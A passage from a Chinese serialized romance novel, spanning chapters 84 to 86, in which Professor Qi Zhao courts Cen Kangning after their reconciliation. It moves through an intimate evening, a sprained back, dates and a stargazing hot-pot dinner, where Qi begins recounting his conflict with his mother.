于是乎也是很自然地,岑康宁难免就有了点儿正常人该有的反应。 的确是很正常。 毕竟前头也说过了,两人都不是白纸。 比接吻更亲密的事情在每个周五的晚上反复不断地发生,后来更是越过了周五的界限。 床头柜里那厚厚一沓未拆封的计生用品便是无论如何也撇不干净的证据。 但无论发生过多少次。 每一次,当岑康宁感受到祁钊灼热的视线不加掩饰落在自己身上的时候,都会不由自主地感到不适应。 “看什么?你没有啊。” 岑康宁脸已经完全热了起来,漂亮的桃花眼眼尾带着一丝若有似无的红晕,勾人的厉害。 他向后不自在地退了半步。 祁钊却目不转睛,嗓音沙哑,将他轻轻拽回来的同时,手掌覆在上面,认真问:“这一个月,有想过吗?” 岑康宁:“……” 岑康宁真的很不想承认自己想过。 毕竟一个月的时间其实并不长。 而且这一个月里还发生着这样那样的事情。 按理来说,岑康宁应该完全不想的,他应该是完完全全把精力都放在游戏跟本职工作上,才能让自己稍微从祁钊离开的事实中得到些许的抽离。 但事实却是—— “想过。” 反抗的力气被蓦地抽空,岑康宁把头埋在祁钊的胸前,没骨头一样,小声地说。 “想过几次?” 祁钊继续问。 岑康宁偏过头,一开始并不想回答。 这种问题怎么能老实交代呢?何况故事的另一个主人公此刻就在自己面前。 可是,既然祁钊这样问了。 竟然有过三次,他也不由自主地感到惊讶。 “怎么想的?” 祁钊又问。 岑康宁别扭着不太想回答,可祁钊展现出一副不得到答案就不罢休的态度,岑康宁也就只好勉强开口: “第一次好像是你走的第二天。那天晚上,我……” 他一个人在家里,本来正快乐地享受着财富自由后的生活,却在不经意间忽然明白了祁钊对于自己的意义。 明白了他喜欢他。 也明白了他与他早就不止是想要编制的关系。 然后他哭了,哭着哭着忽然发现自己竟然盖着祁钊平时会盖的那床被子。 熟悉的气息将他包围。 于是他…… 想到自己接下来的行为,岑康宁脸烫的要命。 说实话他自己也没办法理解。 一秒钟前分明不是在哭,而且哭得很厉害吗? “第二次呢?” 祁钊却仍不肯放过他,将人抱到沙发上以后,一点儿一点儿的逗弄着,又接着问。 岑康宁顺着他的引导回忆:“第二次是在下一周的周四晚上。” 想到那一天的窘迫经历,岑康宁没忍住咬了祁钊一口。 周五晚上不用多说已经成为一个言灵。 说出口的瞬间,就仿佛代表着另一重用意。 可那天那天分明不是周五,岑康宁下完班,本来是约了搭子打游戏的,结果刚一回来,他只是想先洗个澡吧。 结果在浴室。 蓦地,他想起今天是周四。 说起周四,不由得,他又想起曾经祁钊对“周五晚上”的重新定义。 身体的反应就那么跟随着本能冒了出来。 温暖潮湿的浴室。 情不自禁地,岑康宁叫了老公。 “……都怪你。” 岑康宁再度张牙舞爪,想要咬祁钊一口。 但这次却没得逞,因为祁钊手中的力度稍一用力,他就像被捏住了后颈的猫一样,一动都不敢动。 “第三次呢?” 祁钊又问。 看来今天非得把三次交代完不可了,岑康宁想。 不过第三次倒也没有那么难以启齿。 因为第三回祁钊人也在。 “就医院那天。” “知道。” 祁钊了然了。 那天就是两人从医院天台下来以后发生的事情,在医院天台,祁钊告白被拒,从协议老公降级成为追求者之一。 但当天下午在病房里。 某个生气的小猫就因为看到祁钊换衣服忽然间有了反应。 但这一次岑康宁的处理异常迅速,祁钊还来不及有任何多余的行为,岑康宁就溜到卫生间洗了把冷水脸。 “就这三次,真没有了。” 岑康宁信誓旦旦。 祁钊说:“我信。” 岑康宁感受到说这话的祁钊本人其实也早就有了同样不容忽视的反应,便不由得抬起一张已经红到快要滴血的漂亮小脸来,同样问祁钊: “那你呢?” “有没有想过?想的是谁?想了几次?” “……” 祁钊没有回答。 只是带岑康宁去最近的浴室里洗澡。 而洗完澡以后,就在岑康宁以为祁钊可能不会再回答这个问题的时候,忽然,祁钊俯下身,用只有两个人能听到的音量说: “想过。每一天。只有你。” “……” 岑康宁呼吸猛地一滞。 他不可思议地看向祁钊,因为祁钊的回答,也因为祁钊即将可能到来的行为浑身上下每一个细胞都感到紧张。 祁钊他竟然,竟然…… “不,钊哥,我。” 岑康宁试图推开祁钊。 但祁钊的态度却很坚决:“我帮你。” “……” 后来的事岑康宁有些记不太清,因为脑子里完全是混沌一片。 什么都不记得。 只记得祁钊是怎么将他彻底推向快乐的。 像是踩在云端,又下一秒坠入地狱。 五分钟后他躺在沙发上,浑身上下软绵绵的没有半点儿力气,而祁钊去卫生间里漱了口,回来以后给他盖上一张毛毯。 想到自己方才丢人的表现,岑康宁把脑袋瞬间缩进毛毯里,不肯跟祁钊对视。 祁钊看到毛毯里的团子,饶是身体难受地厉害,唇角也不由自主地漾起几分笑意。 “这样睡闷不闷?” “唔门(不闷)。” “那就是冷。” 祁钊说:“我再拿一床被子过来。” “喂!” 面红耳赤的岑康宁终于受不了从毛毯里钻了出来,一双桃花眼怒瞪祁钊一眼:“你故意的,对不对?” 祁钊否认:“没有。” “就是故意的,你想嘲讽我。” 岑康宁认定了姓祁的没安好心。 祁钊认真解释:“真的没有,换做是我的话,很久没做可能比你还快。” “真的吗?” 岑康宁半信半疑地问。 祁钊定定看着他,那幽暗的眼神仿佛在说,要不试试? 岑康宁却不敢去试。 毕竟众所周知,这世界上最了解祁教授那方面能力的人就是岑康宁。 毕竟此人可是做卧推一次都能做几百个以上的人。 而且就祁钊那个尺寸…… 卧槽。 怕了怕了。 岑康宁试图想象了下那个画面,然后立马脑子里什么旖旎的想法都没了。 “不行不行,我的嘴巴会坏掉的。” 岑康宁慌忙地说。 而祁钊按住了他:“别慌,没说让你真试。” 岑康宁看他:“那就是说刚刚真的想假装让我试试喽?” 祁钊在这方面一贯很诚实:“是。” 岑康宁:“……” “就知道你没安什么好心。”他佯装生气。 祁钊的理由倒是充分:“我在追你,没安好心不是很正常?” 岑康宁:“……倒也是。那算了,允许你对我不安好心吧。” 说罢他朝祁钊眨眨眼。 祁钊:“?” 眨眼战术没成功,岑康宁恼羞成怒,又不信邪地用脚轻轻踩了祁钊一下。 他认为自己已经暗示地非常明显了。 只要祁教授稍微动一动那个智商超过180的脑袋瓜就可以想得到,岑康宁是要他今晚留下,将那些不安好心的想法变成现实。 然而180山体滑滑滑坡。 似乎滑地没了那个1。 祁钊没有任何动作,像是被原地定住一样,唯独只是用那双越发幽深的眼睛死死盯着岑康宁。 岑康宁回望他。 有一个瞬间,岑康宁觉得下一秒祁钊就会压过来,像过去一样,像每一个周五的晚上,从身到心的占据他。 可直到最后为止祁钊什么也没有做。 他只是站起身来,从冰箱里拿出一瓶牛奶,还有一块儿校蛋糕放到岑康宁的面前给他补充体力。 顺带又帮岑康宁把换下来的衣服扔到了脏衣篓里。 顺顺带又把家里的垃圾整理好。 随后,祁教授顶着那张看似很冷淡的俊脸实际上腰以下已经到了必须用风衣外套遮才能被忽略的身体,对岑康宁说了晚安,像这一周里的每一天一样,准时离开公寓。 “……” 他走后岑康宁坐在沙发上,失神看着祁钊临走前放在自己面前的牛奶跟小蛋糕,震惊地许久都没回过神来。 岑康宁想,是自己失去魅力了吗? 不对吧。 他还是一如既往地漂亮。 分明刚刚祁钊的反应也是非常想要。 就是纯忍着。 那又为什么? 因为祁钊怕他很久以后的第一次太快,所以岑康宁嘲笑他。 可是分明岑康宁刚刚更丢脸。 想来想去想不到原因,岑康宁懊恼的要命,懊恼到连祁钊临走前给自己切好的小蛋糕都顾不上吃,靠在沙发上一个劲儿的生闷气。 而与此同时。 楼下的公寓内。 祁钊一进门换了鞋就直奔浴室,不掺杂半点儿温度的冷水从花洒处猛地倾泻而出,足足五分钟,却也只是将祁钊心头的欲火堪堪浇灭。 他知道这是一件很难的事情。 可从未想到会这么难。 方才在岑康宁的家里,祁钊差一点就又没控制住自己,突破底线。 好在危险的临界线即将降临前。 他不断提醒着理智: 现在的他是在认真追求岑康宁。 对于追人这件事,祁钊其实并没有什么经验,身边也几乎无人可以闻询。 然而学生们非常关注他的感情状况。 甚至在某天专门开了一次特殊组会给他提建议。 学生们七嘴八舌说了许多有用的办法。 也说了许多追人的禁忌。 其中大家一致同意的一点是: “钊哥,追人一定要循序渐进,不可以有半点儿猴急。尤其是身体上的进度,不能太快,否则会让对方觉得你不真诚。” 祁钊深以为然,并将此条建议列在自己的追求手册第一章 节第一页。 与给岑康宁买麦麦脆汁鸡并列。 毕竟对于这番话。 祁钊曾经不以为然。 他是曾经认为过程不影响结局的人。 可直到后来那天在医院天台,他才意识到,原来对于自己曾经的那些喜欢,因为过程过于轻浮的缘故,岑康宁通通没能察觉。 到底是什么时候给岑康宁留下了自己不太认真的印象呢? 祁钊反思后认为。 也许是从那个失控的夜晚开始。 那个夜晚祁钊在药物的作用下没能控制的了自己,而后更是一错再错,签下不断放纵的协议。 祁钊后来认为自己的确是贪得无厌。 岑康宁不喜欢他是应该的,喜欢他才是奇迹。 也因此祁钊决定重新开始建立自己在岑康宁心中形象,重新追求他的小行星。 第一步就从忍耐,不放任自己开始。 当然,这个要求仅限于他对自己。 对岑康宁,则是另一维度的考量。 岑康宁想要的一切都不需要忍受,这是祁钊行事的最基本原则之一。 所以方才在楼上。 饶是祁钊自己已经快到极限,祁钊仍是选择先满足岑康宁。 然而,满足了岑康宁以后,祁钊就无法再继续待下去了。 因为他判断自己如果再多待一会儿,继续跟岑康宁同处一个房间,恐怕理智就会彻底崩溃。 那意味着这些天的努力将通通白费。 也意味着在岑康宁眼里,他似乎又变成了那个轻浮的,不认真的追求者。 于是祁钊离开。 选择用冷水叫醒自己。 但冷静地从浴室出来以后,他却从没有想过,也从来没被人教过眼下这种情形该怎么办。 手机屏幕亮起。 一分钟前。 宝宝(生气中)给他发了微信。 那微信写道:“祁教授,其实我会后空翻,你信不信?” 作者有话说: [爆哭][爆哭] 求审核大人放过啊,第三遍了,真的改的没什么了 第85章 五分钟后祁钊顶着一身湿漉漉的寒气匆匆出现在楼上公寓。 可公寓里却没有会后空翻的岑康宁,只有一个因为尝试后空翻而翻车扭到腰的可怜倒霉蛋。 倒霉蛋此刻正委屈着一张脸,在沙发上疼得龇牙咧嘴。 见到祁钊出现,他瞬间眼眶一红,雾蒙蒙的水汽开始在眼里氤氲: “钊哥,我……” “扭了?” 祁钊快步上前。 岑康宁皱巴巴着脸点头:“……嗯。” 服了。 他刚刚在网上查如何邀请对象留宿,网友们一致同意用后空翻大法。 具体的行动步骤是告诉想邀请的对象自家猫会后空翻。 然后百分之百那个人就会被会后空翻所吸引同意。 岑康宁虽然没有猫,可是他想不就是区区一个后空翻吗?猫行自己当然也行。 于是发完微信后。 他在客厅柔软舒适的地毯上尝试事前演习。 结果很显然—— 岑康宁失败了。 非但后空翻失败,还一个不小心似乎把腰扭了,疼得他瞬间飙泪,什么想法都没了。 幸好祁钊在初步检查以后确认应该没什么大问题。 “应该只是扭了筋膜层。” “……真的吗?可是好疼。”岑康宁眼泪汪汪地说。 祁钊觉得他这幅模样又让人心疼又让人生气,于是覆在他腰上的手微微以用力: “这里?” “停停停,就是这里!” 岑康宁快疼疯了。 祁钊看到他眼角的泪水后就顾不上生气了,只剩下心疼。 不过以医学上的判断来看。 确实扭伤的程度也不算特别严重,至少没有到送去医院的程度。 于是祁钊先是拿来了一个沙发坐垫垫在岑康宁的肚子下面,让他趴着的姿势能舒服一点,随后又站起身来走进厨房打开制冰机。 “稍等一会儿。” 祁钊说。 有了坐垫其实感觉到已经有些好受的岑康宁问:“是要冰敷吗?” “对。” 祁钊道:“刚扭以后冰敷是最合适的。” “嘶……那会不会冷啊?” “不会。”祁钊把客厅中央空调的温度调高了三度,说完又往卧室的方向走,“药箱还在原来的地方吗?” 岑康宁点点脑袋,瓮声说:“在。” 祁钊:“那我进去取了。” 岑康宁没怎么在意,毕竟在他眼里,这里本来就是祁钊的地盘。 那个医药箱里的药品也全是祁钊买的。 祁钊回自己的房间取自己的药不是很合理吗? 但祁钊这一趟时隔一个多月的回主卧,时间却比岑康宁预估的时间多少长了点儿。 迷路了? 不会吧。 岑康宁想。 医药箱的位置他应该从来没乱动过才是,这一个月里他也就是有一回晚上睡不着觉,在里面找过褪黑素。 还没找到。 因为某人以前根本不可能有任何睡眠问题。 然而岑康宁看了眼手机上的时间,祁钊的的确确是在主卧里停留了三分钟以上。 这合理吗? 来不及细思,祁钊却已经拿着喷雾剂与布洛芬走近。 岑康宁对着温水把布洛芬喝下去,随后感觉自己身上的衣服被掀开,冰冰凉凉的细密喷雾旋即落在腰上,一股浓郁的药味传来。 “舒服好多!” 他惊喜地半眯起眼。 祁钊按住他,又说:“别动。” 说罢手掌在岑康宁的腰上缓慢却有力的按动着。岑康宁也不知道他具体按在了哪个地方,反正就是按完以后立刻比方才舒服不少。 喷雾的药剂也仿佛彻底渗透进去了一般。 原本酸痛到动一动就疼的腰一下子轻松许多。 当祁钊又拿来冻好的冰块儿以后,更是连所剩不多的酸痛也几乎完全消失不见。 冰敷十分钟后岑康宁试着动了下。 “好了?!” 他震惊。 “怎么这么神奇?神医啊祁教授。” “本来也不严重。” 祁钊拿走冰块,目光落在岑康宁被冰的有些发红的腰上,眼神怜惜中带着几分复杂情绪。 但由于岑康宁这会儿正趴着的缘故,并没有被发现。 “不严重就好,好家伙刚刚吓死我了。” 岑康宁仍停留在劫后余生的庆幸中,这会儿也不猖狂了,更不敢有半点儿掉以轻心。 倒是还有心情给祁钊开个玩笑:“算了,我承认我撒谎了,我根本不会后空翻。” “……” 祁钊沉默。 岑康宁一无所觉,以为祁钊是在对他干的蠢事感到无语,又接着调侃:“那钊哥你要不要回去?今晚恐怕后空翻是看不到了。” 他这话说的一语双关。 既是暗示着后空翻,也暗示着原本岑康宁所期待的另一件事。 虽然现在他的腰已经好多了,也应该可以正常活动。 但经历了刚刚这一遭。 说实话就是什么干坏事的心情也没了。 哪怕明天不需要上班,岑康宁也只想安安静静地睡觉,顺顺利利的过完这个晚上。 是以他认为。 祁钊完全没有留下来的理由。 毕竟这一个星期以来,祁钊一直固执地坚守着某些原则。 而如果岑康宁没猜错的话,原则之一应该就是在两人没有正式和好前,祁钊绝不留宿,也不逾越。 因为似乎是祁钊认为这套公寓他留给了岑康宁,就是岑康宁的完全所属物。 祁钊甚至删了他自己门锁的指纹。 每回都要岑康宁在APP上给他临时密码才进来。 所以岑康宁以为今天可能也是跟前几天的情况一样,祁钊在照顾完他以后干脆利落功成身退。 然而事实却是,岑康宁这一次失算了。 祁钊把手放在他的腰上,用手掌的温度重新把那方才冻得通红的地方暖热,直到冷冰冰的皮肤重新温暖起来,方低声问: “不走,可以吗?” 岑康宁一愣:“你……” “以后都不走了,行不行?” “……” 很久没有回过神来,像是忽然被一颗糖从天而降地砸晕,过了很久很久,岑康宁才回过神来,鼻头一酸的同时,以微不可闻的弧度,轻轻点了点脑袋。 “问我干什么?当然行啊。” 岑康宁听到自己声线颤抖着说。 紧接着他又语速飞快的补充:“本来这里就是你的家,对不对?” 祁钊说:“对。” 岑康宁没说话了,只顾着开心,唇角的弧度比AK还难压,两只脚不受控制地动来动去。 他却不知道的是。 在他的身后,看着他这样开心的模样,祁钊眼神里流露出难以控制的悲伤情绪。 祁钊的悲伤自然不是因为从今以后他将拥有留宿的权利。 而是因为他方才走进卧室,看到了岑康宁现在正在睡的大床。 分体式的大床紧紧合拢着,仿佛从未分开过一样。 床的最中央摆放着一个大枕头。 不难看出这一个多月岑康宁就睡在这里。 可是,被子却没有放在最中央的位置,它们分别分布在岑康宁的四面八方。 脚下。 怀里。 身侧。 分明是两米五的大床,但岑康宁硬是睡出了五十厘米小床的架势。 而透过这个布局。 祁钊仿佛看到了这一个多月以来岑康宁睡着的模样。 原来,他珍贵的小行星每到夜里就辗转反侧难眠,觉得一个人睡这张床实在是太大了。 于是将所有的被子都拿出来,垒成一个小小的窝。 然后他抱着一个抱枕整个人蜷缩起来,像一个很小很小的猫咪一样。 在这个狭小又温暖的小窝里。 终于,夜色深了,困意渐渐来袭。 直到天空快要泛起鱼肚白,他缓慢地合上了早已经非常沉重的眼皮。 …… “睡觉睡觉,好困啊今天。” 十点钟刚一到,岑康宁就打着哈欠嚷嚷着想要休息。 正一边看论文一边给岑康宁按摩的祁钊于是放下手机,将人打横抱起。 岑康宁很满意地继续享受着帝王待遇。 可直到快到卧室前才忽然想起一件事来。 等等,好像昨天管家说阿姨今天请假?那他的床岂不是没叠? 岑康宁瞬间慌乱起来,像是即将被家长揭穿秘密的小孩儿。 但祁钊却不等他想出借口,已然推开卧室大门。 “等……” “怎么?” “不不,没什么。” 眼尾余光看到整齐的床铺以后,岑康宁立刻松了口气。 他很庆幸阿姨最终还是上了班。 否则他就又要在祁钊面前丢脸。 后空翻失败已经很丢脸了,如果把大床睡得乱七八糟的样子再被祁钊发现,岂不是颜面全无? 试着想了想那副场景。 岑康宁不由得把挂在祁钊脖子上的手又紧了紧。 “你也休息。” “好。” 祁钊毫不犹豫的答应岑康宁,随后将他放在床上,自己则开始换睡衣。 这天晚上两人都睡得很早,也很踏实。 基本上晚上十点钟就睡了,第二天早上八点才醒。 岑康宁醒来的时候感觉自己腰已经完全好了的同时,精力前所未有的充沛。 这就是睡眠充足的感觉吗? 岑康宁一边感叹,一边忍不住地往隔壁追求者温暖的怀里又钻了钻。 反正……以后都不走了。 那他提前享受一下,应该也没问题? 岑康宁这样想着,身体好热脑袋好晕,就一歪头,又睡了一觉。 当天下午祁钊就退掉了在楼下的公寓,将自己的行李又重新搬了回来。 与此同时,他将自己通过各种方式整理好的整整三十多页追星备忘录彻底删除,扔进不可回收垃圾桶里。 祁钊仍然还在追求岑康宁。 可他决定不再参考任何人的意见,只跟随本心。 再也不想看到岑康宁一个人缩在窝里的样子,也不想要推开门,听到岑康宁一个人在沙发上喊疼,眼里含着委屈的泪水。 不想要漫长的黑夜,岑康宁一个人辗转发侧,醒来以后很失落地发现身边一个人都没有,眼睛底下挂着青色的黑眼圈。 他想要岑康宁的脸上永远挂着幸福的笑脸。 露出像这天早上在被窝里睡到十一点钟以后还不肯起的,耍赖的表情。 轻浮的印象又如何? 不认真又如何? 比起宝贵的岑康宁来说,简直不值一提。 — 祁钊就这样住了下来。 可后来光棍节,岑康宁依然没能成功脱单。 因为祁钊似乎真的在认认真真的追求他,完全没有短时间内直接拉进度条的打算。 这导致岑康宁一开始也有点儿急。 但后来被追着追着,也就不太急了。 实话就是,被祁教授认真追求的感觉,实在是有点儿让人上瘾。 岑康宁之前还吐槽过这人怎么只会当司机送早餐。 结果搬回来以后忽然就开了窍。 首先是早安吻,每天都有;其次是晚安吻,不用多说当然也有。 更让岑康宁感到惊讶的是,以前祁钊一回来就钻进书房,现在竟然会跟他聊天了? 虽然聊天的时候基本上都是岑康宁说。 祁钊听。 可每次听完以后,祁教授都会非常认真地根据自己非常丰富的知识储备给出反馈。 比如说岑康宁吐槽说最近篮球练习的手腕有点儿吃力。 祁钊就说:“我看看你的持球姿势。” 岑康宁示范给他看以后,果然发现是姿势不对,于是经过调整,很快他改掉了坏习惯以后手腕恢复如常。 又比如说岑康宁说一些图书馆听来的八卦。 照理说祁钊对这些内容应该非常不感兴趣的。 岑康宁也没指望着他有什么回应,只是单纯分享。 结果隔天祁教授下班回家,给他打开自己的手机备忘录: “今天开会的时候,我确切地打听了你想知道的消息。是的,图书馆刘老师的儿媳妇确实在饭桌上骂刘老师老登了,理由是……” 总之岑康宁越来越喜欢跟祁钊聊天了。 觉得跟这人说什么都非常有趣,一点儿都不会觉得浪费时间。 另外每隔一两天,祁钊还会安排跟岑康宁的外出约会计划。 第一次约会是某个周三的下午,在电影院。 一部岑康宁非常喜欢的电影重映。 祁钊早早买好了IMAX票,等下午五点岑康宁刚一下班,就接他去了电影院。 两人一起重刷了这部电影。 在电影院里岑康宁吃爆米花跟可乐的套餐,等结束以后,跟祁钊讨论百看不厌的电影情节。 第二次约会则是在P大附近的一家花园餐厅。 那天中午岑康宁没吃食堂。 祁钊也没订自己的健身餐。 两人在短短的两个小时午休时间,在环境优美,被绿树红花掩映的花园餐厅里吃牛排,也吃岑康宁喜欢的可乐炸鸡。 花园餐厅里还养了许多只猫。 一只胆子很大又漂亮的布偶猫在他们吃饭的时候跳上了桌子,岑康宁逗着它玩儿,不停地给它拍照,兴奋地连餐厅的厨师手艺都没怎么点评。 这些是周内的安排。 而到了周末,尤其是周天,祁钊安排的约会项目就会更远一点,也时间更长一些。 岑康宁也是第一次发现,原来A市这么大,有那么多自己没见过的好风景。 他们一起去野生动物园喂老虎。 回来的车上岑康宁一直兴致勃勃跟祁钊讨论合法饲养一只西伯利亚金渐层却不被吃掉的可能性。 最后祁教授认真得出结论,是零。 他们去了位于城市南郊的游乐场。 是大名鼎鼎的迪士尼乐园。 从前总是觉得这是小姑娘或者小朋友才喜欢的地方。 结果岑康宁来了第一次以后,立刻要求祁钊把下一次的约会仍然安排在这里。 当然,更多的时候,两个人什么地方也不去。 就老老实实呆在公寓。 祁钊给次卧又买了一张电脑桌,安装了一把跟岑康宁同款不同色的人体工学椅。 岑康宁打游戏在副本里酣畅淋漓杀boss的时候,祁钊就坐在他的左侧,安安静静地敲着自己的论文,时不时回复一下工作微信。 有时候岑康宁没操作好,被骂了,垮起一张小猫脸。 祁钊就会从面前的零食盘里随机掏出一款美味,打开包装送到岑康宁嘴边。 一般来说一块儿糯米糍就够岑康宁消气。 二般情况下再加一根辣条。 总之不会超过一分钟,岑康宁绝对就消气了,继续在副本里开心驰骋。 这样的日子过得很舒心。 也很幸福。 哪怕不像从前一样拥有合法关系,也同样的舒心。 有时候岑康宁甚至忘记了其实祁钊现在还只是“追求者”的身份,压根儿没转正。 直到十二月底的某一天。 A市下了第一场雪。 莹白的初雪降落在整个世界,岑康宁坐在图书馆一边喝着热拿铁一边看最新借阅过来的《宠物病毒防治入门手册》,一边欣赏着窗外漫天落下的皑皑白雪。 这时,忽然玉姐从自己的工位上兴奋地站了起来。 “啊啊啊啊,我们终于要换群名了!” “什么群名?” 岑康宁抬起一张被拿铁热气熏得雾蒙蒙的脸,好奇地问。 热气蒸腾给他本就漂亮的脸增添了一分朦胧感,像是忽然多了层滤镜,愈发显得岑康宁漂亮,懵懂清纯。 李明玉看呆了半秒,然后才道:“就课题组小群啊,我们以前群聊叫钊哥不评杰青不改名。” “那现在呢?” 岑康宁感到自己心脏高兴地跳了一下。 其实已经有所预感。 可是当他真的听到李明玉用炫耀的语气说:“现在可以改名了,因为钊哥真的评上了杰青。”后,仍是开心地完全无法平静。 “这就评上了?这么简单?” 他感到不可思议。 “才不简单呢,因为是钊哥所以看起来容易,实际上三十岁能评上的一只手就能数得出来。”李明玉说。 “太好了,我还以为……”岑康宁想说还以为祁钊会受到那一个月离职的影响,结果转念一想,祁钊是谁? 祁神岂是浪得虚名? 于是立刻收回了接下来的话,岑康宁拿出手机,想要第一时间组织语言给祁钊发去恭喜。 而这会儿李明玉基本上已经高兴的手舞足蹈,什么都听不进去地开始自言自语。 “太好了太好了,以后我就是杰青弟子!” “钊哥太牛逼了,我就知道跟他没错——” “不行我得赶紧去写论文了,赶在行情彻底水涨船高以前,我得赶紧转个博士先!” 在李明玉的碎碎念中。 岑康宁已经心潮澎湃打开微信。 可当他正要给备注名为“追求者1号”的人发去恭喜时,却发现原来一个小时前,“追求者1号”已经提前预约他今天下午下班后的时间。 “宝宝,晚上要不要去这里?” 追求者1号紧接着发来一个地址。 岑康宁点开一看,地址距离P大其实有一定距离,是一个对岑康宁来说相对陌生的地方。 岑康宁本来想,这是要邀请他一起庆祝自己今天评上杰青吗? 但祁钊说:“这是三岁时,爸妈送我的生日礼物,我想带你一起去。” 作者有话说: 脱单倒计时中~[让我康康] 第86章 从P大出发,车足足开了三个小时。 中间还换了一次司机。 这次的约会行程漫长到岑康宁甚至觉得,祁钊是不是把自己哄去了隔壁省。 好在路口的交通指示牌提醒着岑康宁。 这里仍是A市。 不过有着一个特别的名称,叫做A市苍梧山观星点。 “今晚会有流星雨吗?” 看到那个蓝色指示牌,困了一路的岑康宁终于睁大眼睛,感到了一丝久违的兴奋。 然而驾驶座上的司机非常老实,打了个转向灯的同时,交代: “象限仪座流星雨的最佳观测时间在1月。” “啊?现在不才12月?” 岑康宁感到可惜。 祁钊道:“的确,所以我们今天不是来看流星雨的。” 说着将车轻车熟路驶入一条小路,停在山上一个小别墅门口。 “到了?” 岑康宁不由得坐直身体。 “到了。”祁钊说。 说罢他很自然地侧身,想要给岑康宁松开安全带。结果坐了一路车早就憋不住的岑康宁自己飞快地解了安全带,瞬间跳出车子,在外头开始蹦跶着活动身体。 “终于到了,腰都快坐断了!” 他一边跳一边抱怨。 祁钊扑了个空,倒也不意外,转身将自己的安全带也解开,从驾驶座上缓步走了下来。 “上楼。” 他说。 “好啊,有没有吃的东西?”岑康宁一边跟在祁钊身后往楼上走,一边东张西望的同时,开始当皇帝。 祁钊没说话。 但用脚趾想也知道,怎么可能没有? 其实出发前祁钊就安排着让岑康宁吃了一点儿,上车前还给他点了杯奶茶喝。 所以其实岑康宁不饿。 但怎么说呢,这种环境不吃点儿很可惜吧? 走上二楼以后,他环顾四周后心想。 似乎是为了方便观星,整个二楼的墙壁,连楼顶都是玻璃,四面透明的玻璃让整个房间的视野极度通透,仿佛用手摸就能摸到屋外的皑皑白雪一般。 再抬头望去。 现在是晚上八点半。 夜幕已经全然降临。 静谧的夜空中没有丝毫,哪怕是一片云,漆黑的夜幕中星星点点的繁星点缀其中,宛若一条河流蜿蜒流淌。 所以这是…… “银河!” 岑康宁激动地喊出声来。 祁钊却没有回应他,因为刚一到二楼,祁钊就在皇帝的安排下,去隔壁房间打开冰箱。 他提前安排管家来准备过。 所以观星室里的壁炉哔哔啵啵,胡桃木在利落地燃烧着。 冰箱里琳琅满目,全是管家准备好的食材。 锅底跟蘸料管家也准备好了。祁钊所需要做的,只是把这些东西拿出来,摆出去。 想当然。 这一举动得到了皇帝毫不吝啬的夸奖。 岑康宁看到小木桌上被一一摆出来的火锅食材,眉眼缓缓地弯出弧度,眼神亮晶晶:“钊哥太聪明了吧,你怎么知道这种环境是最适合吃火锅呢?冰天雪地跟火锅最配了。” 但祁钊其实并不知道这回事。 准备火锅的原因很简单,火锅是两人难得一致接受的进食方式。 不过既然岑康宁喜欢,那么祁钊也就满意。 “先洗手。” 祁钊说。 “好嘞。”岑康宁脱掉外套以后,兴奋地欢呼了一声,随后洗了手,加入了端菜任务中。 两人联手果然效率更快。 不一会儿的功夫菜品就都被摆了出来,牛肉卷跟虾滑垒了满满一大盘。 这时鸳鸯锅底也开始咕嘟冒泡,岑康宁坐在正对着银河方向的景观座位上,眼巴巴地等着它开锅。 “钊哥,你下午说这里是你爸妈送你的,是指这个小别墅吗?” 祁钊一边给开了锅的锅底里下牛肉,一边点头:“对。” “好有钱。” 岑康宁不由得露出羡慕的表情。 三岁的时候就能一出手是这样的礼物,祁钊的家庭经济状况果然优越。 三岁的时候自己有什么礼物呢? 岑康宁仔细想了想,勉强想到一个又酸又涩的橘子。还是大伯家里的姐姐不要了,才送到岑康宁手里。 “想要吗?” 祁钊问。 岑康宁赶紧摇头,生怕摇头慢一秒祁钊就把这个房子送给他了,就像现在他们正在住的公寓一样。 “不要,我又不喜欢观星,偶尔钊哥你过来的时候带我来看看景色换换心情就行了。” 祁钊听到这句话微微动容,问他:“心情很好?” 岑康宁夹了一筷子牛肉放进蘸碗里,开心地使劲儿点头:“好的不得了。” 虽然路途确实远了些。 但跟眼前这壮观的银河相比,根本不值一提。 岑康宁曾经不是特别理解为什么祁钊喜欢天文学,现在他了解了,而且是非常了解。 面对这样的景色不喜欢才奇怪。 而且祁钊又是那种好奇心特别重的人,站在这样的房间里,仰望头顶星空。 他一定会想。 太奇妙了。 这个世界到底是怎么形成的呢? 那浩瀚的星空中又藏着多少不为人知的秘密? 在遥远的,宇宙的另一端,会不会也有这样的一个自己,同样在夜空中仰起头。 想到这些岑康宁莫名觉得很激动。 随后又觉得很可惜。 “钊哥,如果再给你一次机会的话,你会选择换专业吗?” “不会。” “为什么?不觉得做自己喜欢的专业才有趣吗?” “是很有趣。” 祁钊道:“不过这就意味着我浪费了过去十八年的时间。” “十八年?” “是的,从十二岁开始,我开始正式入门生命科学。” “……” 祁钊轻抬眼镜,非常笃定地说:“人的生命很有限,我是不可能放弃这十八年积累的。” 岑康宁震惊了一会儿,终于能回过神来:“我还是第一次听说这样的观点。” 这就是大佬跟咸鱼的差距吗? 难怪某人可以三十岁评杰青。 祁钊却在看了岑康宁一眼以后,说:“毛肚老了。” “哎哎哎,怎么能老了呢?” 岑康宁立刻从上一个话题中抽离,用筷子在锅里把心心念念的毛肚捞了出来。 脆生生的毛肚入口的瞬间,他听到祁钊又轻声的说道:“但如果回到18年前,也许结果会不一定。” 岑康宁嚼毛肚的动作不由得放慢了一瞬。 外头是冰天雪地。 屋内却温暖如春。 星空之下,咕嘟咕嘟火锅冒泡的声音伴随着壁炉里时不时传来的一声啪——的声响。 在这样的环境里,祁钊第一次在岑康宁的面前,谈起那消失的一个月。 “那一个月,我在我妈那里。” 祁钊垂下漆黑的眼睫,语气状似轻描淡写地说。 “她要我离婚,重新相亲,我不同意。” “……” 寥寥几语,祁钊说清楚了当时的状况。其实都不需要他说,岑康宁后来也从祁院长那里得知了一些情况。 他甚至知道,刘海俐其实是因为祁未言一句话而改变的主意。 但在这种情况下。 岑康宁仍然没有选择开口,只是安静地听。 “不过不同意没有用,一般情况下是这样的。” 祁钊意简言赅地总结。 事实上祁钊说的颇为保守。 在过去的三十年里,不能说一般情况下不同意没有用,而是几乎所有情况下,祁钊不同意都没有用。 自打他开始有了自我的观念起。 似乎就总是会跟母亲起冲突。 从小的时候选择什么样的奶粉,再到大些时候想要看什么样的书籍,选择什么样的专业。 刘海俐女士总是有着跟祁钊截然相反的意见。 很小的时候祁钊无法反抗。 作为一个婴幼儿,他想要活着,就必须听从母亲的意见。 长大以后他倒是也的确也有过反抗的意识。 可惜…… 